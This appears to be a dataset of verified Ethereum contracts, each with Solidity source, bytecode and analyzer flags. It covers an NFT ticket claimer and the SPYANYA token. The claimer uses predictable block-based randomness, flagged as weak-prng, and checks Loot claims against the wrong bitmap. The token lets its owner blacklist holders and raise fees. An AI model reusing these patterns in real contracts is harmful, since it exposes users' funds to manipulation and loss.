0x301aaf18de48108389826db9a1c65ed60d9c46be
/** *Submitted for verification at Etherscan.io on 2021-09-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // File: @openzeppelin/contracts/introspection/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC1155_Mintable { // Multiple mint tokens. Assign directly to _to[]. function safeBatchMint(address _to, uint256[] calldata _id, uint256[] calldata _quantities) external; //mint tokens. Assign directly to _to[]. function safeMint(address _to, uint256 _id, uint256 _quantities) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract LootClaimer is Context { IERC1155_Mintable public nftTicket; IERC721Enumerable public lootNFT; IERC721Enumerable public xlootNFT; uint256[] rewardTicketId = [0,1,2]; uint256[] rewardTicketLeft = [50, 300, 650]; uint256 claimLeft = 1000; // This is a packed array of booleans. mapping(uint256 => uint256) private lootClaimedBitMap; // This is a packed array of booleans. mapping(uint256 => uint256) private xlootClaimedBitMap; // This event is triggered whenever a call to #claim succeeds. event LootClaimed(uint256 index, address account); event xLootClaimed(uint256 index, address account); constructor(address _nftTicket, address _lootNFT, address _xlootNFT) { nftTicket = IERC1155_Mintable(_nftTicket); lootNFT = IERC721Enumerable(_lootNFT); xlootNFT = IERC721Enumerable(_xlootNFT); } function lootIsClaimed(uint256 index) public view returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = xlootClaimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function xlootIsClaimed(uint256 index) public view returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = xlootClaimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setLootClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; lootClaimedBitMap[claimedWordIndex] = lootClaimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function _setXlootClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; xlootClaimedBitMap[claimedWordIndex] = xlootClaimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim() public { require(claimLeft > 0, "No Claim Left"); require(lootNFT.balanceOf(_msgSender())>0 || xlootNFT.balanceOf(_msgSender())>0, "No loot item"); uint256 draw = 0; for (uint256 i = 0; i < lootNFT.balanceOf(_msgSender()); ++i) { uint256 temp_id = lootNFT.tokenOfOwnerByIndex(_msgSender(), i); if (!lootIsClaimed(temp_id)) { draw = draw + 1; _setLootClaimed(temp_id); } } for (uint256 i = 0; i < xlootNFT.balanceOf(_msgSender()); ++i) { uint256 temp_id = xlootNFT.tokenOfOwnerByIndex(_msgSender(), i); if (!xlootIsClaimed(temp_id)) { draw = draw + 1; _setXlootClaimed(temp_id); } } if (claimLeft < draw) { draw = claimLeft; } for (uint256 i = 0; i < draw; ++i) { _drawTicket(); } } function _drawTicket() private returns (uint256 nftTicketId){ require(claimLeft > 0, "No Claim Left"); uint256 result = randomGen(claimLeft, claimLeft); uint256 filter = 0; for (uint256 i = 0; i < rewardTicketId.length; ++i) { filter = filter + rewardTicketLeft[i]; if (filter > result) { nftTicket.safeMint(_msgSender(), rewardTicketId[i], 1); claimLeft = claimLeft - 1; rewardTicketLeft[i] = rewardTicketLeft[i] - 1; return rewardTicketId[i]; } } } function randomGen(uint256 seed, uint256 max) private view returns (uint256 randomNumber) { return (uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, msg.sender, block.difficulty, seed))) % max); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c8063291589cd146100675780634e71d92d14610085578063b1b916e91461008f578063b33033e2146100ad578063c35e20d4146100dd578063d61c870d1461010d575b600080fd5b61006f61012b565b60405161007c9190610d4e565b60405180910390f35b61008d610151565b005b6100976106da565b6040516100a49190610d33565b60405180910390f35b6100c760048036038101906100c29190610aff565b6106fe565b6040516100d49190610d18565b60405180910390f35b6100f760048036038101906100f29190610aff565b610754565b6040516101049190610d18565b60405180910390f35b6101156107aa565b6040516101229190610d4e565b60405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060055411610196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018d90610d69565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316101de6107d0565b6040518263ffffffff1660e01b81526004016101fa9190610c9d565b60206040518083038186803b15801561021257600080fd5b505afa158015610226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024a9190610b2c565b118061030757506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316102996107d0565b6040518263ffffffff1660e01b81526004016102b59190610c9d565b60206040518083038186803b1580156102cd57600080fd5b505afa1580156102e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103059190610b2c565b115b610346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033d90610d89565b60405180910390fd5b6000805b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316103906107d0565b6040518263ffffffff1660e01b81526004016103ac9190610c9d565b60206040518083038186803b1580156103c457600080fd5b505afa1580156103d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fc9190610b2c565b8110156104f3576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5961044b6107d0565b846040518363ffffffff1660e01b8152600401610469929190610cb8565b60206040518083038186803b15801561048157600080fd5b505afa158015610495573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b99190610b2c565b90506104c481610754565b6104e1576001836104d59190610dba565b92506104e0816107d8565b5b50806104ec90610f21565b905061034a565b5060005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823161053d6107d0565b6040518263ffffffff1660e01b81526004016105599190610c9d565b60206040518083038186803b15801561057157600080fd5b505afa158015610585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a99190610b2c565b8110156106a0576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c596105f86107d0565b846040518363ffffffff1660e01b8152600401610616929190610cb8565b60206040518083038186803b15801561062e57600080fd5b505afa158015610642573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106669190610b2c565b9050610671816106fe565b61068e576001836106829190610dba565b925061068d81610832565b5b508061069990610f21565b90506104f7565b508060055410156106b15760055490505b60005b818110156106d6576106c461088c565b50806106cf90610f21565b90506106b4565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806101008361070f9190610e10565b90506000610100846107219190610fa2565b90506000600760008481526020019081526020016000205490506000826001901b90508081831614945050505050919050565b600080610100836107659190610e10565b90506000610100846107779190610fa2565b90506000600760008481526020019081526020016000205490506000826001901b90508081831614945050505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b6000610100826107e89190610e10565b90506000610100836107fa9190610fa2565b9050806001901b6006600084815260200190815260200160002054176006600084815260200190815260200160002081905550505050565b6000610100826108429190610e10565b90506000610100836108549190610fa2565b9050806001901b6007600084815260200190815260200160002054176007600084815260200190815260200160002081905550505050565b600080600554116108d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c990610d69565b60405180910390fd5b60006108e2600554600554610a81565b90506000805b600380549050811015610a7a576004818154811061090957610908611031565b5b90600052602060002001548261091f9190610dba565b915082821115610a695760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324eeedf661096d6107d0565b6003848154811061098157610980611031565b5b906000526020600020015460016040518463ffffffff1660e01b81526004016109ac93929190610ce1565b600060405180830381600087803b1580156109c657600080fd5b505af11580156109da573d6000803e3d6000fd5b5050505060016005546109ed9190610e41565b600581905550600160048281548110610a0957610a08611031565b5b9060005260206000200154610a1e9190610e41565b60048281548110610a3257610a31611031565b5b906000526020600020018190555060038181548110610a5457610a53611031565b5b90600052602060002001549350505050610a7e565b80610a7390610f21565b90506108e8565b5050505b90565b600081600143610a919190610e41565b4042334487604051602001610aaa959493929190610c3e565b6040516020818303038152906040528051906020012060001c610acd9190610fa2565b905092915050565b600081359050610ae4816110c4565b92915050565b600081519050610af9816110c4565b92915050565b600060208284031215610b1557610b14611060565b5b6000610b2384828501610ad5565b91505092915050565b600060208284031215610b4257610b41611060565b5b6000610b5084828501610aea565b91505092915050565b610b6281610e75565b82525050565b610b79610b7482610e75565b610f6a565b82525050565b610b8881610e87565b82525050565b610b9f610b9a82610e93565b610f7c565b82525050565b610bae81610ec7565b82525050565b610bbd81610ed9565b82525050565b610bcc81610eeb565b82525050565b6000610bdf600d83610da9565b9150610bea82611072565b602082019050919050565b6000610c02600c83610da9565b9150610c0d8261109b565b602082019050919050565b610c2181610ebd565b82525050565b610c38610c3382610ebd565b610f98565b82525050565b6000610c4a8288610b8e565b602082019150610c5a8287610c27565b602082019150610c6a8286610b68565b601482019150610c7a8285610c27565b602082019150610c8a8284610c27565b6020820191508190509695505050505050565b6000602082019050610cb26000830184610b59565b92915050565b6000604082019050610ccd6000830185610b59565b610cda6020830184610c18565b9392505050565b6000606082019050610cf66000830186610b59565b610d036020830185610c18565b610d106040830184610bc3565b949350505050565b6000602082019050610d2d6000830184610b7f565b92915050565b6000602082019050610d486000830184610ba5565b92915050565b6000602082019050610d636000830184610bb4565b92915050565b60006020820190508181036000830152610d8281610bd2565b9050919050565b60006020820190508181036000830152610da281610bf5565b9050919050565b600082825260208201905092915050565b6000610dc582610ebd565b9150610dd083610ebd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610e0557610e04610fd3565b5b828201905092915050565b6000610e1b82610ebd565b9150610e2683610ebd565b925082610e3657610e35611002565b5b828204905092915050565b6000610e4c82610ebd565b9150610e5783610ebd565b925082821015610e6a57610e69610fd3565b5b828203905092915050565b6000610e8082610e9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610ed282610efd565b9050919050565b6000610ee482610efd565b9050919050565b6000610ef682610ebd565b9050919050565b6000610f0882610f0f565b9050919050565b6000610f1a82610e9d565b9050919050565b6000610f2c82610ebd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610f5f57610f5e610fd3565b5b600182019050919050565b6000610f7582610f86565b9050919050565b6000819050919050565b6000610f9182611065565b9050919050565b6000819050919050565b6000610fad82610ebd565b9150610fb883610ebd565b925082610fc857610fc7611002565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b60008160601b9050919050565b7f4e6f20436c61696d204c65667400000000000000000000000000000000000000600082015250565b7f4e6f206c6f6f74206974656d0000000000000000000000000000000000000000600082015250565b6110cd81610ebd565b81146110d857600080fd5b5056fea264697066735822122050f427cc70486b7e212cf8bb81ff01377db3a12d48f8271ff405e71411dce63b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,028
0x94bd75a45399f76901f1ede457985fa850723999
// SPDX-License-Identifier: Unlicensed // https://t.me/spyanyaportal // https://spyanya.com pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SPYANYA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Spy Anya"; string private constant _symbol = "SPYANYA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600881526753707920416e796160c01b60208201525b6040516102389190611a20565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a75565b61069b565b6040519015158152602001610238565b34801561027d57600080fd5b50601354610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa1565b6106b2565b3480156102fa57600080fd5b506102c060175481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601454610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae2565b61071b565b34801561036c57600080fd5b506101fc61037b366004611b0f565b610766565b34801561038c57600080fd5b506101fc6107ae565b3480156103a157600080fd5b506102c06103b0366004611ae2565b6107db565b3480156103c157600080fd5b506101fc6107fd565b3480156103d657600080fd5b506101fc6103e5366004611b2a565b610871565b3480156103f657600080fd5b506102c060155481565b34801561040c57600080fd5b506102c061041b366004611ae2565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b0f565b6108b3565b34801561047757600080fd5b506102c060165481565b34801561048d57600080fd5b50604080518082019091526007815266535059414e594160c81b602082015261022b565b3480156104bd57600080fd5b506101fc6104cc366004611b2a565b610912565b3480156104dd57600080fd5b506101fc6104ec366004611b43565b610941565b3480156104fd57600080fd5b5061026161050c366004611a75565b61099b565b34801561051d57600080fd5b5061026161052c366004611ae2565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc6109a8565b34801561056257600080fd5b506101fc610571366004611b75565b6109de565b34801561058257600080fd5b506102c0610591366004611bf9565b6001600160a01b03918216600090815260046020908152604080832